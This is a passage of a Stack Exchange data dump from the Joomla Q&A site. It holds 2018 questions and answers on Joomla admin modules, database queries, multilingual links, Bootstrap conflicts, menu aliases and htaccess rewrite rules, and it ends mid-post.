  <row Id="23043" PostTypeId="1" AcceptedAnswerId="23045" CreationDate="2018-06-21T11:06:03.397" Score="2" ViewCount="27" Body="&lt;p&gt;I am new to Joomla. I have to add an administrator module to the page where a specific module is being edited at administrator side. &lt;br&gt;For example here is the module editing page where I want to add an Administrator module&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/qU91Z.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qU91Z.png&quot; alt=&quot; specific Module editing page&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there isn't any option for &lt;code&gt;menu assignment&lt;/code&gt; in administrator module editing page&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/P1z1G.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/P1z1G.png&quot; alt=&quot;Admin module editing page&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12647" LastActivityDate="2018-06-21T16:07:59.643" Title="How can I assign Administrator Module to different page other than main page?" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23044" PostTypeId="2" ParentId="23038" CreationDate="2018-06-21T11:11:41.280" Score="1" Body="&lt;p&gt;This issue also exists in Gantry4 templates.  Below is the fix for that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!class_exists('JDocumentRendererHead')) {&#xA;   require_once(JPATH_LIBRARIES.'/joomla/document/html/renderer/head.php');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="464" LastActivityDate="2018-06-21T11:11:41.280" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="23045" PostTypeId="2" ParentId="23043" CreationDate="2018-06-21T16:07:59.643" Score="2" Body="&lt;p&gt;This is the expected behavior for administrator modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The admin template has set module positions which in turn, have set pages they're displayed on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you assign a module to the &lt;code&gt;cpanel&lt;/code&gt; position, it will only be displayed on the administrator Dashboard.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2018-06-21T16:07:59.643" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23046" PostTypeId="2" ParentId="4365" CreationDate="2018-06-22T06:59:29.267" Score="0" Body="&lt;p&gt;Update: To modify my snippet for dynamic use for an assortment of possible incoming variable values, I suppose you could just declare a &quot;whitelist&quot; of column names and check that the incoming &lt;code&gt;$column&lt;/code&gt; to be queried on is valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, &lt;code&gt;$column = &quot;publishedDate&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You just need to relace &lt;code&gt;publishedDate&lt;/code&gt; with &lt;code&gt;$column&lt;/code&gt; in my script and call &lt;code&gt;$db-&amp;gt;qn()&lt;/code&gt; upon it each time just to be safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... and use &lt;code&gt;strtolower()&lt;/code&gt; to ready the variable for dom attribute declarations.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Tested Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDBO();&#xA;try {&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;                -&amp;gt;select(&quot;DISTINCT publishedDate&quot;)&#xA;                -&amp;gt;from(&quot;#__magazines&quot;)&#xA;                -&amp;gt;order(&quot;publishedDate&quot;);&#xA;    // echo $query-&amp;gt;dump();  // uncomment if you want to see what is generated&#xA;    $db-&amp;gt;setQuery($query);&#xA;    if ($dates = $db-&amp;gt;loadColumn()) {&#xA;        $user_date = JFactory::getApplication()-&amp;gt;input-&amp;gt;get('publisheddate', null, 'string');&#xA;    }&#xA;} catch (Exception $e) {&#xA;    $dates = array();&#xA;    // echo &quot;Syntax Error&quot; , $e-&amp;gt;getMessage();&#xA;}&#xA;&#xA;echo &quot;&amp;lt;label for=\&quot;publisheddate\&quot;&amp;gt;Departure Date:&amp;lt;/label&amp;gt;&quot;;&#xA;echo &quot;&amp;lt;select id=\&quot;publisheddate\&quot; name=\&quot;publisheddate\&quot;&amp;gt;&quot;;&#xA;    echo &quot;&amp;lt;option value=\&quot;A\&quot;&amp;gt;Choose Date&amp;lt;/option&amp;gt;&quot;;&#xA;    foreach ($dates as $date) {&#xA;        echo &quot;&amp;lt;option&quot; , ($user_date == $date ? &quot; selected&quot; : &quot;&quot;) , &quot;&amp;gt;{$date}&amp;lt;/option&amp;gt;&quot;;&#xA;    }&#xA;echo &quot;&amp;lt;/select&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Explanations:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A &lt;code&gt;try {} catch {}&lt;/code&gt; block is a clean way to check for errors and control how your code performs after a potential query syntax error.&lt;/li&gt;&#xA;&lt;li&gt;I am &quot;method chaining&quot; from &lt;code&gt;getQuery()&lt;/code&gt; so that &lt;code&gt;$query&lt;/code&gt; is only written once while building the query.&lt;/li&gt;&#xA;&lt;li&gt;In most cases, your query is better written as a &lt;code&gt;SELECT DISTINCT&lt;/code&gt; rather than &lt;code&gt;GROUP BY&lt;/code&gt;.  Here is &lt;a href=&quot;https://stackoverflow.com/a/581530/2943403&quot;&gt;a supporting post&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Your &lt;code&gt;select()&lt;/code&gt; method doesn't need to receive an array - a string will do just fine.  Because &lt;code&gt;publishedDate&lt;/code&gt; doesn't &lt;em&gt;NEED&lt;/em&gt; to be backtick-wrapped, spare the &lt;code&gt;qn()&lt;/code&gt; method call and leave it as an unquoted string with no security implications.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ORDER BY&lt;/code&gt; will use &lt;code&gt;ASC&lt;/code&gt; as the default direction, so there is no need to state this explicitly.  And you needed a spaced before your &lt;code&gt;ASC&lt;/code&gt;, but that may have merely been a posting typo.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;loadColumn()&lt;/code&gt; is the most appropriate call when you want to generate a one-dimensional array from a single column resultset.&lt;/li&gt;&#xA;&lt;li&gt;I am only seeking &lt;code&gt;$user_date&lt;/code&gt; if the &lt;code&gt;$dates&lt;/code&gt; array is not empty.  The conditional is doing two things: 1. declaring &lt;code&gt;$dates&lt;/code&gt; and 2. checking for a non-falsey value (an empty array is falsey).  If there are no elements in &lt;code&gt;$dates&lt;/code&gt; then whether or not the user has submitted &lt;code&gt;$_GET['publisheddate']&lt;/code&gt; is moot.&lt;/li&gt;&#xA;&lt;li&gt;If there is a syntax error in your query, I am declaring &lt;code&gt;$dates&lt;/code&gt; as an empty array so that the &lt;code&gt;foreach()&lt;/code&gt; loop cannot iterate.&lt;/li&gt;&#xA;&lt;li&gt;Never show &lt;code&gt;$e-&amp;gt;getMessage()&lt;/code&gt; to the public.&lt;/li&gt;&#xA;&lt;li&gt;My personal preference is to use an echo to display each line of code rather than bounce in and out of php or write multi-line strings.&lt;/li&gt;&#xA;&lt;li&gt;I am not sure why the first/default option has a value of &lt;code&gt;A&lt;/code&gt;. I'll assume this means &quot;All&quot; and you will display all records in the search results which seems like a reasonable feature.&lt;/li&gt;&#xA;&lt;li&gt;Writing &lt;code&gt;selected=&quot;selected&quot;&lt;/code&gt; in the first &lt;code&gt;&amp;lt;option&amp;gt;&lt;/code&gt; is not needed.  If no other option is selected, it will be displayed as the selected option.&lt;/li&gt;&#xA;&lt;li&gt;The resultset values are declared as &lt;code&gt;$date&lt;/code&gt; inside of the &lt;code&gt;foreach()&lt;/code&gt; loop and no object syntax (&lt;code&gt;-&amp;gt;&lt;/code&gt;) is required.&lt;/li&gt;&#xA;&lt;li&gt;When writing &lt;code&gt;&amp;lt;option&amp;gt;&lt;/code&gt; values that are identical to the visible text, there is no need to declare the &lt;code&gt;value&lt;/code&gt; attribute.  Spare the code bloat; the text will be submitted as the value.&lt;/li&gt;&#xA;&lt;li&gt;The curly brackets around &lt;code&gt;$date&lt;/code&gt; is my preferred coding style -- not necessary in this case.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2019-02-03T06:05:58.807" LastActivityDate="2019-02-03T06:05:58.807" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23048" PostTypeId="2" ParentId="23040" CreationDate="2018-06-22T11:29:55.967" Score="2" Body="&lt;p&gt;It's a very involved process of authentication and pulling data from the Google Analytics API: &lt;a href=&quot;https://developers.google.com/analytics/devguides/reporting/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developers.google.com/analytics/devguides/reporting/&lt;/a&gt; &lt;br/&gt;&lt;br/&gt;You might try playing around with their Explorer tool as well: &lt;a href=&quot;https://ga-dev-tools.appspot.com/account-explorer/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ga-dev-tools.appspot.com/account-explorer/&lt;/a&gt; &lt;br/&gt;&lt;br/&gt;&#xA;I am almost positive you cannot pull data without some type of authentication.  There are several Joomla components that will pull Analytics in a dashboard, but they are set to show data for one site and require setting up secret keys, etc.  &lt;br/&gt;&lt;br/&gt;You might check out some of the PHP Google Analytics scripts from CodeCanyon, but those require authentication as well: &lt;a href=&quot;https://codecanyon.net/category/php-scripts?as=0&amp;amp;referrer=homepage&amp;amp;tags=google%20analytics&amp;amp;term=google%20analytics&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://codecanyon.net/category/php-scripts?as=0&amp;amp;referrer=homepage&amp;amp;tags=google%20analytics&amp;amp;term=google%20analytics&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="464" LastEditorUserId="464" LastEditDate="2018-06-23T15:43:12.057" LastActivityDate="2018-06-23T15:43:12.057" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23049" PostTypeId="1" CreationDate="2018-06-22T19:43:34.473" Score="0" ViewCount="115" Body="&lt;p&gt;Lets say I have a menu pointing to an article translated to both english and spanish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I generate a link to the english page from the spanish translation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to put a notice in all the spanish articles saying for example: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&#xA;    There is an english version for this article &amp;lt;a href=&quot;index.php?Itemid=1086&quot;&amp;gt;here&amp;lt;/a&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If this article gets loaded in spanish the link will point to the spanish article instead of the english article.&lt;/p&gt;&#xA;" OwnerUserId="1551" LastActivityDate="2018-07-01T08:26:40.123" Title="Generate link to a page with specific language" Tags="|joomla-3.x|multilingual|router|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23050" PostTypeId="2" ParentId="22732" CreationDate="2018-06-22T20:53:37.307" Score="2" Body="&lt;p&gt;You need to get the article using Article model. Then get its fields using FieldsHelper. One downside here is that article is not cached here so we get duplicate query.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Check that we are on article view.&#xA;if ($option === 'com_content' &amp;amp;&amp;amp; $view === 'article')&#xA;{&#xA;    $context = 'com_content.article';&#xA;&#xA;    // Get the article.&#xA;    $article = JModelLegacy::getInstance('Article', 'ContentModel')-&amp;gt;getItem();&#xA;&#xA;    // Get article fields.&#xA;    JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');&#xA;    $fields = FieldsHelper::getFields($context, $article);&#xA;&#xA;    // We have the fields, do something, e.g.&#xA;    echo FieldsHelper::render($context, 'fields.render', array('context' =&amp;gt; $context, 'item' =&amp;gt; $article, 'fields' =&amp;gt; $fields));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-06-22T20:53:37.307" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23052" PostTypeId="2" ParentId="6937" CreationDate="2018-06-25T06:53:52.073" Score="0" Body="&lt;p&gt;Here's what I understand about your question:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;You are trusting the data coming from: &lt;code&gt;$this-&amp;gt;params-&amp;gt;get('bd-addjs');&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;You are expecting a single string of javascript filenames which are newline delimited AND potentially preceded/followed by whitespace characters.&lt;/li&gt;&#xA;&lt;li&gt;You want to isolate each filename based on the newline characters and individually include the files via &lt;code&gt;addScript()&lt;/code&gt; after trimming the needless whitespace from each filename.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Your posted solution seems a bit indirect because you are exploding, then calling &lt;code&gt;preg_replace()&lt;/code&gt; &lt;em&gt;n&lt;/em&gt; times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Worse, your &lt;code&gt;array_filter()&lt;/code&gt; step is simply incorrect and has no effect on your strings.  &lt;a href=&quot;https://3v4l.org/kG4DG&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here is proof&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend that you &quot;&lt;strong&gt;kill every bird with one stone&lt;/strong&gt;&quot;.  You can isolate the filenames, trim the whitespace characters (&lt;code&gt;[\s\t\r\n]&lt;/code&gt;), and add a layer of validation like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://3v4l.org/FkIB4&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demonstration&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$test = &quot;javascript1.js&#xA; /dev/spacethenjs2.js&#xA;&#xA;    doublenewline_tab_javascript3.js&#xA;/dev/javascript4.js&#xA;javascript5_trailingspaces.js    &quot;;&#xA;var_export($test);&#xA;echo &quot;\n---\nSee divided and trimmed output: &quot;;&#xA;var_export(preg_match_all(&quot;~[/\w]+\.js\b~&quot;, $test, $matches) ? $matches[0] : 'no matches');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'javascript1.js&#xA; /dev/spacethenjs2.js&#xA;&#xA;    doublenewline_tab_javascript3.js&#xA;/dev/javascript4.js&#xA;javascript5_trailingspaces.js    '&#xA;---&#xA;See divided and trimmed output: array (&#xA;  0 =&amp;gt; 'javascript1.js',&#xA;  1 =&amp;gt; '/dev/spacethenjs2.js',&#xA;  2 =&amp;gt; 'doublenewline_tab_javascript3.js',&#xA;  3 =&amp;gt; '/dev/javascript4.js',&#xA;  4 =&amp;gt; 'javascript5_trailingspaces.js',&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To apply the above logic to your project, try this snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (preg_match_all(&quot;~[/\w]+\.js\b~&quot;, $BDjs, $matches)) {&#xA;    foreach ($matches[0] as $filename) {   // [0] contains all of the &quot;fullstring&quot; matches&#xA;        $doc-&amp;gt;addScript($filename);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you don't follow what my regex pattern is doing, you can see &lt;a href=&quot;https://regex101.com/r/k1LyjT/2&quot; rel=&quot;nofollow noreferrer&quot;&gt;this regex101 demonstration with explanation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your filenames vary more than my samples -- for instance if you have javascript filenames that have a querystring appended to them like &lt;code&gt;file.js?key=af32d12c94&lt;/code&gt; then you can adjust the pattern to specifically handle such variance (&lt;code&gt;~[/\w]+\.js(?:\?key=\w+)?\b&lt;/code&gt; or really loosen up the pattern (&lt;code&gt;~\S+\.js\S*&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are literally hundreds of patterns that can be created for different reasons.  You can write a few of your known filenames into the input box at regex101 and experiment with different patterns to see what will be best suited for your project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, if you aren't worried in the slightest about validation, you can use this alternative:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach (preg_split(&quot;~\s+~&quot;, $test, -1, PREG_SPLIT_NO_EMPTY) as $filename) {&#xA;    $doc-&amp;gt;addScript($filename);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Then again, if this string of text is coming from users, then you have EVERY REASONS TO WANT TO VALIDATE/SANITIZE IT TO WITHIN AN INCH OF ITS LIFE!!!&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-06-25T07:08:32.430" LastActivityDate="2018-06-25T07:08:32.430" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23053" PostTypeId="1" AcceptedAnswerId="23059" CreationDate="2018-06-25T09:45:09.980" Score="2" ViewCount="41" Body="&lt;p&gt;I have the following code in a module placed in the footer of my site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;container-fluid&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;col-md-5 col-sm-5&quot;&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;a href=&quot;https://bestscottishcottages.co.uk/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&amp;gt;&amp;lt;img src=&quot;images/partner-logo-transparent.png&quot; alt=&quot;partner logo transparent&quot; width=&quot;175&quot; height=&quot;145&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;col-md-7 col-sm-7&quot;&amp;gt;&#xA;&amp;lt;h3&amp;gt;Bill &amp;amp;amp; Sukie Barber&amp;lt;/h3&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;span style=&quot;font-size: 14pt;&quot;&amp;gt;&amp;lt;a href=&quot;tel:+441450373424&quot;&amp;gt;{zen-phone}{/zen-phone}01450 373 424&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;span style=&quot;font-size: 14pt;&quot;&amp;gt; &amp;lt;a href=&quot;mailto:billandsukie@gmail.com&quot;&amp;gt;{zen-envelope}{/zen-envelope}billandsukie@gmail.com&amp;lt;/a&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;span style=&quot;font-size: 14pt;&quot;&amp;gt; {zen-map-marker}{/zen-map-marker}Priestrig Croft,&amp;lt;br /&amp;gt; by Hawick&amp;lt;br /&amp;gt; TD9 7NT&amp;lt;/span&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;div class=&quot;social&quot;&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;a href=&quot;https://www.facebook.com/Fiddle-Hill-Cottage-727153347486812/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&amp;gt;{zen-facebook-square}{/zen-facebook-square}&amp;lt;/a&amp;gt;&amp;lt;a href=&quot;https://www.instagram.com/fiddle_hill_cottage/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&amp;gt;{zen-instagram}{/zen-instagram}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;a href=&quot;https://www.google.com/maps/dir/Current+Location/55.4408087,-2.8147109&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; class=&quot;btn btn-green&quot;&amp;gt;Get directions&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On &lt;a href=&quot;https://www.fiddlehillcottage.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; page the image and address information are correctly displayed side by side on a landscape iPhone 6/7/8 however on &lt;a href=&quot;https://www.fiddlehillcottage.com/availability&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; page they are displayed on top of each other. Both pages use the same module to display the information however, they do use a different variation of the same template. I for one, cannot seem to find out what is causing the difference. Could anyone please offer any advice?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance.&#xA;Donna&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2018-06-25T17:01:32.697" Title="Strange Bootstrap behaviour - Correct display on one page not on another" Tags="|joomla-3.x|bootstrap|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23054" PostTypeId="2" ParentId="22545" CreationDate="2018-06-25T10:40:50.213" Score="0" Body="&lt;p&gt;This solved it for me not too long ago, when trying to use the K2 modal without succes:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In override &lt;code&gt;../html/layouts/joomla/edit/frontediting_modules.php&lt;/code&gt; I extended line 34 with &lt;code&gt;&amp;amp;tmpl=component&amp;amp;context=modalselector&lt;/code&gt; like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$editUrl = JUri::base() . 'index.php?option=com_config&amp;amp;controller=config.display.modules&amp;amp;id=' . (int) $mod-&amp;gt;id . '&amp;amp;Itemid=' . $itemid . $redirectUri .'&amp;amp;tmpl=component&amp;amp;context=modalselector';&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure the main component is used/hidden on that page and you will be returned correctly.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12657" LastEditorUserId="1629" LastEditDate="2018-06-25T16:05:40.770" LastActivityDate="2018-06-25T16:05:40.770" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23059" PostTypeId="2" ParentId="23053" CreationDate="2018-06-25T17:01:32.697" Score="2" Body="&lt;p&gt;On the first page (root), you are loading Bootstrap 4 from MaxCDN. On the second page (availability) you are loading a local version of Bootstrap 2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are also only loading the JS &lt;code&gt;/media/jui/js/bootstrap.min.js&lt;/code&gt; on the availability page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try including Bootstrap 4 on the availability page. That should fix that problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, I would stop loading the Bootstrap 2 JS file on the root page. You don't need both versions 2 and 4.&lt;/p&gt;&#xA;" OwnerUserId="11228" LastActivityDate="2018-06-25T17:01:32.697" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23061" PostTypeId="1" AcceptedAnswerId="23062" CreationDate="2018-06-27T09:18:34.923" Score="3" ViewCount="568" Body="&lt;p&gt;I'm having a problem,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;usually when we want to point to an article with a direct link, and not show it in a menu, we use Hidden-menu feature, then we choose an alias, let's say: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;secretpage &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then we link an article to it,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and finally you can access that article with this direct link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.mywebsite.com/secretpage&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this works perfectly, now we need to do the same, but instead of pointing the alias to an article made in joomla, we need to point it to an external link, exactly an office form (forms.office.com).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what I tried to do, is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-hidden menu -&amp;gt; new&#xA;&#xA;-menu item type: System links -&amp;gt; URL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and finally:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;link: &lt;code&gt;https://forms.office.com/Pages/ResponsePage.aspx?id=xxxxxxxxxxxxxxxxxxxxx&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so when I navigate our website:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.mywebsite.com/alias&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what I get in return is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;404 component not found joomla&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;any idea why this isn't working? &#xA;I think joomla is appending my external link to: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.mywebsite.com/external-link&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and if that's the case, how to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you&lt;/p&gt;&#xA;" OwnerUserId="12664" LastActivityDate="2018-06-27T11:44:54.263" Title="issue with adding alias menu pointing to an external link" Tags="|joomla-3.x|joomla3.8|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23062" PostTypeId="2" ParentId="23061" CreationDate="2018-06-27T11:26:21.950" Score="1" Body="&lt;p&gt;I would suggest doing it as a redirect in the htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Redirect 301 /alias https://forms.office.com/Pages/ResponsePage.aspx?id=xxxxxxxxxxxxxxxxxxxxx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also find the broken url (&lt;a href=&quot;https://www.mywebsite.com/alias&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.mywebsite.com/alias&lt;/a&gt;) in the Redirect Manager and set it there instead.&lt;/p&gt;&#xA;" OwnerUserId="464" LastActivityDate="2018-06-27T11:26:21.950" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23063" PostTypeId="2" ParentId="23061" CreationDate="2018-06-27T11:44:54.263" Score="0" Body="&lt;p&gt;This is expected behavior. URL menu item type is not meant to redirect. It only shows an external link in menu module.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-06-27T11:44:54.263" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23064" PostTypeId="2" ParentId="22971" CreationDate="2018-06-27T12:03:27.410" Score="4" Body="&lt;p&gt;If you mean the intro image that's used in intro_image layout, use the same check as in the layout:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $images = json_decode($this-&amp;gt;item-&amp;gt;images); ?&amp;gt;&#xA;&amp;lt;?php if (!empty($images-&amp;gt;image_intro)) : ?&amp;gt;&#xA;    &amp;lt;div&amp;gt;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;introtext; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php else : ?&amp;gt;&#xA;    &amp;lt;?php echo $this-&amp;gt;item-&amp;gt;introtext; ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2019-09-04T08:09:58.570" LastActivityDate="2019-09-04T08:09:58.570" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23066" PostTypeId="1" AcceptedAnswerId="23068" CreationDate="2018-06-27T12:34:21.220" Score="3" ViewCount="592" Body="&lt;p&gt;We use a base build template for most of our site builds, and until a few months ago we have not had a problem re-writing the sitemap url to sitemap.xml. The rule we use is: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^sitemap.xml$ index.php?option=com_osmap&amp;amp;view=xml&amp;amp;tmpl=component&amp;amp;id=1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On &lt;a href=&quot;https://cowleyroadmotcentre.com/sitemap.xml&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt;site the rewrite rule works correctly. The site is running PHP 7.1.15 with Joomla version 3.8.5. However, a current development site &lt;a href=&quot;https://bairns.cloudaccess.host/sitemap.xml&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; using the exact same rewrite rule and running the same PHP version but on Joomla 3.8.10 just shows a 404 page. I have also had the same experience on a number of sites built recently and have been forced to used the raw sitemap url in the robots.txt rather than the much cleaner sitemap.xml.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't for the life of me figure out why these redirects no longer work. The htaccess files on both sites use the same content albeit taylored to the individual site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My full htaccesss for the site that is not working is 